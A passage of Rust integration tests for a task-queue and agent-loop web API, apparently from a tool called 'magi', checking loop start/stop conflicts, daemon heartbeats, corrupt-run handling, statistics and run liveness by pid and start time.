6961        task.runs.push("20260101-000000-b455".to_owned());
6962        task.runs.push("20260101-000000-9af4".to_owned());
6963        queue.put(&mut task).expect("file the task");
6964        let created_at = task.created_at;
6965
6966        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6967        assert_eq!(done.status, 200, "{}", done.body);
6968        assert_eq!(done.json()["status_str"], "done");
6969
6970        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
6971        assert_eq!(
6972            reloaded.runs,
6973            ["20260101-000000-b455", "20260101-000000-9af4"]
6974        );
6975        assert_eq!(
6976            reloaded.source,
6977            Source::Agent {
6978                run: "20260101-000000-b455".to_owned(),
6979                node: "implement".to_owned(),
6980            }
6981        );
6982        assert_eq!(reloaded.created_at, created_at);
6983    }
6984
6985    #[tokio::test]
6986    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
6987        // `done` is allowed on any status, including `held`, with no release
6988        // in between - so a task held for a reason and then closed directly
6989        // must not keep reading as "waiting on" it afterwards, on its card or
6990        // in `magi task show`.
6991        let f = Fixture::start().await;
6992        let queue = f.queue();
6993        let mut task = Task::new(
6994            "landed while held".to_owned(),
6995            "x".to_owned(),
6996            PathBuf::from("/repo/magi"),
6997            Source::Human,
6998        );
6999        task.hold_manual(Some("waiting on 3ed9".to_owned()));
7000        queue.put(&mut task).expect("file the held task");
7001
7002        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7003        assert_eq!(done.status, 200, "{}", done.body);
7004        assert_eq!(done.json()["status_str"], "done");
7005        assert!(
7006            done.json()["hold_reason"].is_null(),
7007            "a done task cannot still be waiting on something: {}",
7008            done.body
7009        );
7010    }
7011
7012    #[tokio::test]
7013    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
7014        // `queue_done` is the phone's way to close a task the loop never
7015        // settled itself - after confirming a manual GitHub merge, say - and
7016        // that is just as much "this task's story is over" as the loop's own
7017        // `Merged`/`Ready` path, so it must trigger the same cleanup.
7018        let f = Fixture::start().await;
7019        let queue = f.queue();
7020        let runs = f.runs();
7021        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
7022        // The last attempt has to have actually landed for the earlier one
7023        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
7024        // for the case where it didn't.
7025        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
7026
7027        let mut task = Task::new(
7028            "landed by hand".to_owned(),
7029            "x".to_owned(),
7030            PathBuf::from("/repo/magi"),
7031            Source::Human,
7032        );
7033        task.runs.push("20260101-000000-doa1".to_owned());
7034        task.runs.push("20260101-000000-doa2".to_owned());
7035        queue.put(&mut task).expect("file the task");
7036
7037        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7038        assert_eq!(done.status, 200, "{}", done.body);
7039
7040        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
7041            .expect("run still on disk under this fixture's own home");
7042        assert_eq!(
7043            reloaded_run.status,
7044            RunStatus::Superseded,
7045            "closing the task by hand must relabel the earlier blocked attempt exactly \
7046             like the loop's own settle path does"
7047        );
7048    }
7049
7050    #[tokio::test]
7051    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
7052        // Closing a task by hand is allowed from any status, including one
7053        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
7054        // manual merge the loop never watched, say. Nothing here is provably
7055        // why the task is done, so nothing earlier gets relabelled either.
7056        let f = Fixture::start().await;
7057        let queue = f.queue();
7058        let runs = f.runs();
7059        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
7060        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
7061
7062        let mut task = Task::new(
7063            "closed with nothing actually landed".to_owned(),
7064            "x".to_owned(),
7065            PathBuf::from("/repo/magi"),
7066            Source::Human,
7067        );
7068        task.runs.push("20260101-000000-dob1".to_owned());
7069        task.runs.push("20260101-000000-dob2".to_owned());
7070        queue.put(&mut task).expect("file the task");
7071
7072        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7073        assert_eq!(done.status, 200, "{}", done.body);
7074
7075        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
7076            .expect("run still on disk under this fixture's own home");
7077        assert_eq!(
7078            reloaded_run.status,
7079            RunStatus::Blocked,
7080            "the last recorded attempt never landed, so the earlier one must not be \
7081             relabelled as superseded by it"
7082        );
7083    }
7084
7085    #[tokio::test]
7086    async fn unknown_ids_are_json_not_found_on_both_stores() {
7087        let f = Fixture::start().await;
7088
7089        let run = f.get("/api/runs/nosuchrun").await;
7090        let task = f.post("/api/queue/nosuchtask/hold", None).await;
7091
7092        assert_eq!(run.status, 404);
7093        assert_eq!(task.status, 404);
7094        assert!(
7095            run.json()["error"]
7096                .as_str()
7097                .is_some_and(|e| e.contains("run")),
7098            "the error names what was not found: {}",
7099            run.body
7100        );
7101        assert!(
7102            task.json()["error"]
7103                .as_str()
7104                .is_some_and(|e| e.contains("task")),
7105            "the error names what was not found: {}",
7106            task.body
7107        );
7108    }
7109
7110    #[tokio::test]
7111    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
7112        let f = Fixture::start().await;
7113
7114        let missing = f.get("/api/health").await.json();
7115        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
7116
7117        write_daemon(
7118            f.home.path(),
7119            Timestamp::now() - jiff::SignedDuration::from_secs(60),
7120        );
7121        let stale = f.get("/api/health").await.json();
7122        assert_eq!(
7123            stale["daemon"]["running"], false,
7124            "a minute without a heartbeat is a dead daemon, not a busy one"
7125        );
7126        assert!(
7127            stale["daemon"]["stale_for_secs"]
7128                .as_i64()
7129                .is_some_and(|s| s >= 55),
7130            "staleness is reported so the UI can say how long: {stale}"
7131        );
7132
7133        write_daemon(f.home.path(), Timestamp::now());
7134        let fresh = f.get("/api/health").await.json();
7135        assert_eq!(fresh["daemon"]["running"], true);
7136        assert_eq!(fresh["daemon"]["idle"], false);
7137        assert_eq!(fresh["daemon"]["pid"], 4242);
7138        assert_eq!(fresh["daemon"]["completed"], 7);
7139        assert_eq!(
7140            fresh["daemon"]["current"][0]["task"],
7141            "20260902-140501-aaaa"
7142        );
7143        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
7144    }
7145
7146    #[tokio::test]
7147    async fn the_loop_is_not_running_until_something_starts_it() {
7148        let f = Fixture::start().await;
7149
7150        let view = f.get("/api/loop").await.json();
7151        assert_eq!(view["running"], false);
7152        assert_eq!(
7153            view["owned"], false,
7154            "nobody owns a loop that does not exist: {view}"
7155        );
7156        assert_eq!(view["stopping"], false);
7157        assert_eq!(view["last_error"], Value::Null);
7158        assert_eq!(view["daemon"]["running"], false);
7159        assert_eq!(
7160            view["repo"], "/repo/magi",
7161            "the repository a start would use, named before it is started"
7162        );
7163    }
7164
7165    #[tokio::test]
7166    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
7167        let f = Fixture::start().await;
7168
7169        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7170        assert_eq!(res.status, 200, "{}", res.body);
7171        let view = res.json();
7172        assert_eq!(view["running"], true);
7173        assert_eq!(
7174            view["owned"], true,
7175            "the loop the UI started is the UI's own to stop: {view}"
7176        );
7177        assert_eq!(
7178            view["merge"],
7179            Value::Null,
7180            "no override was given, so each repository's own config decides"
7181        );
7182
7183        // The same object from the route a waking phone polls first. Two
7184        // surfaces disagreeing about whether anything is running is exactly
7185        // the confusion this UI exists to remove.
7186        let health = f.get("/api/health").await.json();
7187        assert_eq!(health["loop"]["running"], true, "{health}");
7188        assert_eq!(health["loop"]["owned"], true, "{health}");
7189
7190        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7191    }
7192
7193    #[tokio::test]
7194    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
7195        let f = Fixture::start().await;
7196        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7197        assert_eq!(first.status, 200, "{}", first.body);
7198
7199        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7200        assert_eq!(
7201            again.status, 409,
7202            "two loops on one queue race for the same claims: {}",
7203            again.body
7204        );
7205        assert!(
7206            again.json()["error"]
7207                .as_str()
7208                .is_some_and(|e| e.contains("already running the loop")),
7209            "the refusal has to say why: {}",
7210            again.body
7211        );
7212        assert_eq!(
7213            f.get("/api/loop").await.json()["running"],
7214            true,
7215            "and the loop that was already running is untouched by it"
7216        );
7217
7218        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7219    }
7220
7221    #[tokio::test]
7222    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
7223        let f = Fixture::start().await;
7224        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7225
7226        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7227        assert_eq!(
7228            res.status, 200,
7229            "the answer must not wait for the loop: a run in flight is tens of \
7230             minutes and the operator is holding a phone: {}",
7231            res.body
7232        );
7233
7234        let view = settled(&f, |v| v["running"] == false).await;
7235        assert_eq!(view["owned"], false);
7236        assert_eq!(
7237            view["stopping"], false,
7238            "a loop that has stopped is not still stopping: {view}"
7239        );
7240        assert_eq!(
7241            view["last_error"],
7242            Value::Null,
7243            "a loop that was asked to stop did not fail: {view}"
7244        );
7245
7246        // Idempotent, because the operator cannot tell a slow stop from a lost
7247        // one and will press it again.
7248        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7249        assert_eq!(twice.status, 200, "{}", twice.body);
7250    }
7251
7252    #[tokio::test]
7253    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
7254        let f = Fixture::start().await;
7255        // How the operator has been doing it: a `magi serve` of their own,
7256        // heartbeat fresh, in the same home this UI reads.
7257        write_daemon(f.home.path(), Timestamp::now());
7258
7259        let view = f.get("/api/loop").await.json();
7260        assert_eq!(view["running"], false, "not in this process: {view}");
7261        assert_eq!(view["owned"], false, "and not this process's to control");
7262        assert_eq!(
7263            view["daemon"]["running"], true,
7264            "but a loop is alive somewhere, which is what the UI must say"
7265        );
7266        assert_eq!(view["daemon"]["pid"], 4242);
7267
7268        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
7269            let res = f.post("/api/loop", Some(body)).await;
7270            assert_eq!(
7271                res.status, 409,
7272                "neither button may pretend to work on someone else's loop: {}",
7273                res.body
7274            );
7275            assert!(
7276                res.json()["error"]
7277                    .as_str()
7278                    .is_some_and(|e| e.contains("4242")),
7279                "the refusal has to name the process the operator must go to: {}",
7280                res.body
7281            );
7282        }
7283        assert_eq!(
7284            f.get("/api/loop").await.json()["running"],
7285            false,
7286            "and the refusal started nothing"
7287        );
7288    }
7289
7290    #[tokio::test]
7291    async fn a_stale_status_file_is_not_a_foreign_owner() {
7292        let f = Fixture::start().await;
7293        write_daemon(
7294            f.home.path(),
7295            Timestamp::now() - jiff::SignedDuration::from_secs(60),
7296        );
7297
7298        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7299        assert_eq!(
7300            res.status, 200,
7301            "a daemon killed a minute ago must not lock the loop out of its \
7302             own home for good: {}",
7303            res.body
7304        );
7305        assert_eq!(res.json()["running"], true);
7306
7307        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7308    }
7309
7310    #[tokio::test]
7311    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
7312        let f = Fixture::start().await;
7313        let before = f.get("/api/health").await.json()["loop_rev"]
7314            .as_u64()
7315            .expect("a loop revision");
7316
7317        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7318
7319        let after = f.get("/api/health").await.json()["loop_rev"]
7320            .as_u64()
7321            .expect("a loop revision");
7322        assert!(
7323            after > before,
7324            "the loop is in-process state, so this counter is the only thing \
7325             that tells a second device the first one started it: {before} -> \
7326             {after}"
7327        );
7328
7329        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7330    }
7331
7332    #[tokio::test]
7333    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
7334        let f = Fixture::with_loop(launch_broken).await;
7335
7336        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7337        assert_eq!(
7338            res.status, 200,
7339            "starting it is not the failure: {}",
7340            res.body
7341        );
7342
7343        let view = settled(&f, |v| v["last_error"].is_string()).await;
7344        assert_eq!(
7345            view["running"], false,
7346            "a loop that died must not read as running, or the operator has \
7347             nothing to press: {view}"
7348        );
7349        assert_eq!(view["owned"], false);
7350        assert!(
7351            view["last_error"]
7352                .as_str()
7353                .is_some_and(|e| e.contains("read-only file system")),
7354            "the phone is where a loop that died at 3am is visible: {view}"
7355        );
7356
7357        // And it can be started again: the corpse was reaped, not left to
7358        // occupy the slot.
7359        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7360        assert_eq!(again.status, 200, "{}", again.body);
7361        assert_eq!(
7362            again.json()["last_error"],
7363            Value::Null,
7364            "a fresh start does not keep showing why the last one died"
7365        );
7366    }
7367
7368    /// An upgrade parks the run in flight before it restarts, and a park waits
7369    /// for the node - up to `timeout_implement`, an hour by default. The deck
7370    /// has to answer for all of it: the operator has just been told a run is
7371    /// finishing first, and this address is the only place that says how it is
7372    /// going. It did not, once - the listener went with the `select!` arm that
7373    /// began the handover, and the phone got `Cannot reach magi: Failed to
7374    /// fetch` for the rest of the wave.
7375    ///
7376    /// The other half is the older rule: the address must be free *before* the
7377    /// successor is started, or it dies on "address already in use" with its
7378    /// stdio sent to null and the deck never comes back.
7379    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
7380    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
7381        let home = TempDir::new().expect("temp home");
7382        let runs = home.path().join("runs");
7383        std::fs::create_dir_all(&runs).expect("runs dir");
7384        let ui = Ui::new(
7385            Queue::at(home.path().join("queue")),
7386            Questions::at(home.path().join("questions")),
7387            Talks::at(home.path().join("talks")),
7388            runs,
7389            home.path().to_path_buf(),
7390            PathBuf::from("/repo/magi"),
7391        )
7392        .with_worktrees_root(home.path().join("wt"))
7393        .with_launch(launch_knocking_on_the_way_out);
7394        let looping = ui.looping();
7395        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7396            .await
7397            .expect("bind loopback");
7398        let addr = listener.local_addr().expect("local addr");
7399        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
7400        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
7401
7402        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
7403        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
7404
7405        // The successor's whole job, and the one thing it cannot do while this
7406        // process still holds the socket.
7407        //
7408        // One bind is not enough, and the reason is not this process's order of
7409        // operations: aborting the accept loop drops the listener, but axum
7410        // serves each accepted connection on a task of its own, and those are
7411        // not aborted. The requests above left sockets on this very address,
7412        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
7413        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
7414        // Production absorbs that in `bind_waiting`; so does this. Only
7415        // `AddrInUse` is retried, and the listener is released before the
7416        // closure returns - were the order wrong, the listener would outlive
7417        // the closure and every attempt would fail. Inferred from the bind
7418        // rules and the code; not reproduced on macOS.
7419        let bound = std::sync::Mutex::new(None);
7420        hand_over(home.path(), &looping, served, || {
7421            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
7422            let attempt = loop {
7423                match std::net::TcpListener::bind(addr) {
7424                    Ok(l) => {
7425                        drop(l);
7426                        break Ok(());
7427                    }
7428                    Err(e)
7429                        if e.kind() == std::io::ErrorKind::AddrInUse
7430                            && std::time::Instant::now() < deadline =>
7431                    {
7432                        std::thread::sleep(std::time::Duration::from_millis(10));
7433                    }
7434                    Err(e) => break Err(e.to_string()),
7435                }
7436            };
7437            *bound.lock().expect("bound") = Some(attempt);
7438            Ok(())
7439        })
7440        .await
7441        .expect("hand over");
7442
7443        assert_eq!(
7444            *PARK_HEARD.lock().expect("park heard"),
7445            Some(200),
7446            "the deck must answer while the loop is parking"
7447        );
7448        let attempt = bound
7449            .lock()
7450            .expect("bound")
7451            .take()
7452            .expect("the successor was started");
7453        assert!(
7454            attempt.is_ok(),
7455            "and the address must be free by the time it is: {attempt:?}"
7456        );
7457    }
7458
7459    #[tokio::test]
7460    async fn a_newer_daemon_status_file_still_renders() {
7461        let f = Fixture::start().await;
7462        // A field this build has never heard of must not turn the status line
7463        // into a 500; that is the whole reason the reader is permissive.
7464        std::fs::write(
7465            f.home.path().join("daemon.json"),
7466            serde_json::json!({
7467                "schema": 2,
7468                "updated_at": Timestamp::now().to_string(),
7469                "idle": true,
7470                "surprise": { "nested": [1, 2, 3] },
7471            })
7472            .to_string(),
7473        )
7474        .expect("write daemon.json");
7475
7476        let health = f.get("/api/health").await;
7477
7478        assert_eq!(health.status, 200);
7479        assert_eq!(health.json()["daemon"]["running"], true);
7480    }
7481
7482    #[tokio::test]
7483    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
7484        let f = Fixture::start().await;
7485        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7486        let broken = f.runs().join("20260902-140502-bad");
7487        std::fs::create_dir_all(&broken).expect("run dir");
7488        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7489
7490        let list = f.get("/api/runs").await;
7491        let detail = f.get("/api/runs/20260902-140502-bad").await;
7492
7493        assert_eq!(list.status, 200);
7494        let listed = list.json();
7495        let ids: Vec<&str> = listed
7496            .as_array()
7497            .expect("an array")
7498            .iter()
7499            .map(|r| r["id"].as_str().expect("an id"))
7500            .collect();
7501        assert_eq!(
7502            ids,
7503            vec!["20260902-140501-good"],
7504            "one unreadable run must not cost the operator the whole history"
7505        );
7506        assert_eq!(detail.status, 500);
7507        assert!(
7508            detail.json()["error"]
7509                .as_str()
7510                .is_some_and(|e| e.contains("run.json")),
7511            "the failure names the file to look at: {}",
7512            detail.body
7513        );
7514        // A skipped run has to be countable somewhere, or the UI shows an
7515        // empty history with nothing to explain it - which is exactly what a
7516        // directory full of older-schema runs looks like.
7517        let health = f.get("/api/health").await;
7518        assert_eq!(health.json()["runs_unreadable"], 1);
7519    }
7520
7521    /// The dashboard reads every run's state itself rather than trusting a
7522    /// separately-maintained count, so an unreadable run must be counted the
7523    /// same way `/api/health` counts it - never silently dropped the way the
7524    /// CLI's own `stats::load_all` drops it.
7525    #[tokio::test]
7526    async fn stats_runs_unreadable_matches_health() {
7527        let f = Fixture::start().await;
7528        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7529        let broken = f.runs().join("20260902-140502-bad");
7530        std::fs::create_dir_all(&broken).expect("run dir");
7531        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7532
7533        let stats = f.get("/api/stats").await;
7534        let health = f.get("/api/health").await;
7535
7536        assert_eq!(stats.status, 200);
7537        assert_eq!(stats.json()["totals"]["runs"], 1);
7538        assert_eq!(stats.json()["runs_unreadable"], 1);
7539        assert_eq!(
7540            stats.json()["runs_unreadable"],
7541            health.json()["runs_unreadable"],
7542            "the dashboard and /api/health must never disagree about how many \
7543             runs could not be read"
7544        );
7545    }
7546
7547    #[tokio::test]
7548    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
7549        let f = Fixture::start().await;
7550        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
7551        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
7552        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
7553
7554        let totals = &f.get("/api/stats").await.json()["totals"];
7555        assert_eq!(totals["runs"], 3);
7556        assert_eq!(totals["merged"], 1);
7557        assert_eq!(totals["stalled"], 1);
7558        assert_eq!(totals["in_progress"], 1);
7559        // A stalled run must never read as blocked/merged/ready - it is its
7560        // own bucket, not folded into a "decided" one.
7561        assert_eq!(totals["blocked"], 0);
7562        assert_eq!(totals["ready"], 0);
7563    }
7564
7565    #[tokio::test]
7566    async fn stats_queue_counts_come_from_the_live_queue() {
7567        let f = Fixture::start().await;
7568        let q = f.queue();
7569        let mut queued = Task::new(
7570            "queued task".to_owned(),
7571            "do it".to_owned(),
7572            PathBuf::from("/repo"),
7573            Source::Human,
7574        );
7575        q.put(&mut queued).expect("put queued");
7576        let mut held = Task::new(
7577            "held task".to_owned(),
7578            "do it later".to_owned(),
7579            PathBuf::from("/repo"),
7580            Source::Human,
7581        );
7582        held.hold_machine(Some("out of attempts".to_owned()));
7583        q.put(&mut held).expect("put held");
7584
7585        let queue = f.get("/api/stats").await.json()["queue"].clone();
7586        assert_eq!(queue["queued"], 1);
7587        assert_eq!(queue["held"], 1);
7588        assert_eq!(queue["running"], 0);
7589        assert_eq!(queue["done"], 0);
7590        assert_eq!(queue["failed"], 0);
7591        assert_eq!(queue["blocked"], 0);
7592    }
7593
7594    #[tokio::test]
7595    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
7596        let f = Fixture::start().await;
7597        let stats = f.get("/api/stats").await;
7598        assert_eq!(stats.status, 200);
7599        assert_eq!(stats.json()["totals"]["runs"], 0);
7600        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
7601        assert_eq!(stats.json()["runs_unreadable"], 0);
7602        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
7603    }
7604
7605    #[tokio::test]
7606    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
7607        let f = Fixture::start().await;
7608        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
7609
7610        let summary = f.get("/api/runs").await.json();
7611        let row = &summary[0];
7612        assert_eq!(row["short"], "a1b2");
7613        assert_eq!(row["status"], "ready");
7614        assert_eq!(row["done"], true);
7615        assert_eq!(row["title"], "Add a web UI");
7616        assert_eq!(row["repo_name"], "magi");
7617        assert_eq!(row["judges"], 3);
7618        assert_eq!(row["winner"], Value::Null);
7619        assert_eq!(row["reviews"], 0);
7620
7621        // The short id resolves, and the detail route is the state itself, not
7622        // a projection of it: the UI reads fields the summary does not carry.
7623        let detail = f.get("/api/runs/a1b2").await;
7624        assert_eq!(detail.status, 200);
7625        assert_eq!(detail.json()["base_branch"], "main");
7626        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
7627    }
7628
7629    /// `status: "ready"` alone cannot tell a run still headed for a landing
7630    /// (a PR closed without merging, say) apart from one `[merge] mode =
7631    /// "none"` left unmerged for good — the confusion the operator flagged
7632    /// after the CLI report already grew a `not landed — nothing to do by
7633    /// design` line for exactly this case (`report.rs`). Both the list route
7634    /// and the detail route must carry a flag the phone can key on instead of
7635    /// re-deriving it from `status` + `merge.mode` itself.
7636    #[tokio::test]
7637    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
7638        let f = Fixture::start().await;
7639
7640        let mut none_run = RunState::new(
7641            PathBuf::from("/repo/magi"),
7642            "main".to_owned(),
7643            "0123456789abcdef".to_owned(),
7644            "Add a web UI".to_owned(),
7645            Config::default(),
7646        );
7647        none_run.id = "20260902-140503-none".to_owned();
7648        none_run.status = RunStatus::Ready;
7649        none_run.merge = Some(crate::run::MergeOutcome {
7650            mode: crate::config::MergeMode::None,
7651            ok: true,
7652            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
7653        });
7654        write_state(&f.runs(), &none_run);
7655
7656        let mut pr_run = RunState::new(
7657            PathBuf::from("/repo/magi"),
7658            "main".to_owned(),
7659            "0123456789abcdef".to_owned(),
7660            "Add a web UI".to_owned(),
7661            Config::default(),
7662        );
7663        pr_run.id = "20260902-140504-prcl".to_owned();
7664        pr_run.status = RunStatus::Ready;
7665        pr_run.merge = Some(crate::run::MergeOutcome {
7666            mode: crate::config::MergeMode::Pr,
7667            ok: false,
7668            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
7669        });
7670        write_state(&f.runs(), &pr_run);
7671
7672        let summary = f.get("/api/runs").await.json();
7673        let rows: std::collections::HashMap<&str, &Value> = summary
7674            .as_array()
7675            .expect("an array")
7676            .iter()
7677            .map(|r| (r["id"].as_str().expect("an id"), r))
7678            .collect();
7679        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
7680        assert_eq!(
7681            rows[none_run.id.as_str()]["unmerged_by_design"],
7682            true,
7683            "a mode-none Ready must be flagged in the list"
7684        );
7685        assert_eq!(
7686            rows[pr_run.id.as_str()]["unmerged_by_design"],
7687            false,
7688            "a Ready reached by a closed pull request is a different case"
7689        );
7690
7691        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
7692        assert_eq!(none_detail["status"], "ready");
7693        assert_eq!(none_detail["unmerged_by_design"], true);
7694
7695        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
7696        assert_eq!(pr_detail["unmerged_by_design"], false);
7697    }
7698
7699    /// `RunState::active` is only ever cleared by whoever populated it, so the
7700    /// detail route also has to say whether a daemon is actually still
7701    /// driving this run right now — otherwise a seat from a killed process's
7702    /// last wave would read as live forever.
7703    #[tokio::test]
7704    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
7705        let f = Fixture::start().await;
7706        // Matches `write_daemon`'s hard-coded `current.run`, so the second
7707        // half of this test can claim the daemon is working on it without a
7708        // second helper.
7709        let id = "20260902-140502-bbbb";
7710        let mut state = RunState::new(
7711            PathBuf::from("/repo/magi"),
7712            "main".to_owned(),
7713            "0123456789abcdef".to_owned(),
7714            "Add a web UI".to_owned(),
7715            Config::default(),
7716        );
7717        state.id = id.to_owned();
7718        state.status = RunStatus::Judging;
7719        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
7720        let dir = f.runs().join(id);
7721        std::fs::create_dir_all(&dir).expect("run dir");
7722        std::fs::write(
7723            dir.join("run.json"),
7724            serde_json::to_string_pretty(&state).expect("serialize run"),
7725        )
7726        .expect("write run.json");
7727
7728        // No daemon.json at all, and no `driver_pid` recorded either (this
7729        // state was written directly, never through `execute()`): there is
7730        // nothing to confirm either way, so the route must say `"unknown"` —
7731        // never `"dead"`, which is exactly the false diagnosis a manual `magi
7732        // run` used to get from this route before `driver_pid` existed.
7733        let cold = f.get(&format!("/api/runs/{id}")).await.json();
7734        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
7735        assert_eq!(cold["live"], "unknown", "{cold}");
7736
7737        // A fresh heartbeat naming exactly this run: the same entry now reads
7738        // as confirmed, not merely recorded.
7739        write_daemon(f.home.path(), Timestamp::now());
7740        let warm = f.get(&format!("/api/runs/{id}")).await.json();
7741        assert_eq!(warm["live"], "live", "{warm}");
7742    }
7743
7744    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
7745    /// review` claims no daemon at all, so before this field existed the
7746    /// route above read it as `"dead"` — indistinguishable from a run a
7747    /// killed process abandoned — the whole time it was genuinely still
7748    /// answering. With a live pid recorded, it must read `"live"` even
7749    /// though no daemon claims it.
7750    #[tokio::test]
7751    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
7752        let f = Fixture::start().await;
7753        let id = "20260922-090000-cccc";
7754        let mut state = RunState::new(
7755            PathBuf::from("/repo/magi"),
7756            "main".to_owned(),
7757            "0123456789abcdef".to_owned(),
7758            "Review only".to_owned(),
7759            Config::default(),
7760        );
7761        state.id = id.to_owned();
7762        state.status = RunStatus::Reviewing;
7763        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
7764        // This test process's own pid: guaranteed alive, and never needs a
7765        // real daemon or a second process to prove it. The matching start-time
7766        // marker is what `liveness` now requires alongside a live pid — see
7767        // `RunState::driver_started_at`'s own doc for why the pid alone is
7768        // not enough.
7769        state.driver_pid = Some(std::process::id());
7770        state.driver_started_at = Some(
7771            crate::proc::process_started_at(std::process::id())
7772                .expect("this test process's own start time must be queryable"),
7773        );
7774        let dir = f.runs().join(id);
7775        std::fs::create_dir_all(&dir).expect("run dir");
7776        std::fs::write(
7777            dir.join("run.json"),
7778            serde_json::to_string_pretty(&state).expect("serialize run"),
7779        )
7780        .expect("write run.json");
7781
7782        let detail = f.get(&format!("/api/runs/{id}")).await.json();
7783        assert_eq!(detail["live"], "live", "{detail}");
7784    }
7785
7786    /// A killed manual run's pid can be handed to a wholly unrelated later
7787    /// process — a live query on `driver_pid` alone would read this as
7788    /// `"live"`, exactly the false positive `driver_started_at` exists to
7789    /// catch (see that field's own doc, and `RunState::liveness_with`'s
7790    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
7791    #[tokio::test]
7792    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
7793        let f = Fixture::start().await;
7794        let id = "20260922-090100-dddd";
7795        let mut state = RunState::new(
7796            PathBuf::from("/repo/magi"),
7797            "main".to_owned(),
7798            "0123456789abcdef".to_owned(),
7799            "Review only".to_owned(),
7800            Config::default(),
7801        );
7802        state.id = id.to_owned();
7803        state.status = RunStatus::Reviewing;
7804        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
7805        // This test process's own pid really is alive, but the marker
7806        // recorded here does not match what it actually started at —
7807        // standing in for the pid having since been reused by a different
7808        // process than the one that wrote `run.json`.
7809        state.driver_pid = Some(std::process::id());
7810        state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
7811        let dir = f.runs().join(id);
7812        std::fs::create_dir_all(&dir).expect("run dir");
7813        std::fs::write(
7814            dir.join("run.json"),
7815            serde_json::to_string_pretty(&state).expect("serialize run"),
7816        )
7817        .expect("write run.json");
7818
7819        let detail = f.get(&format!("/api/runs/{id}")).await.json();
7820        assert_eq!(detail["live"], "dead", "{detail}");
7821    }
7822
7823    /// The deck's competition list is normally the first place an operator
7824    /// sees an old run. It must carry the same process verdict as detail, or
7825    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
7826    #[test]
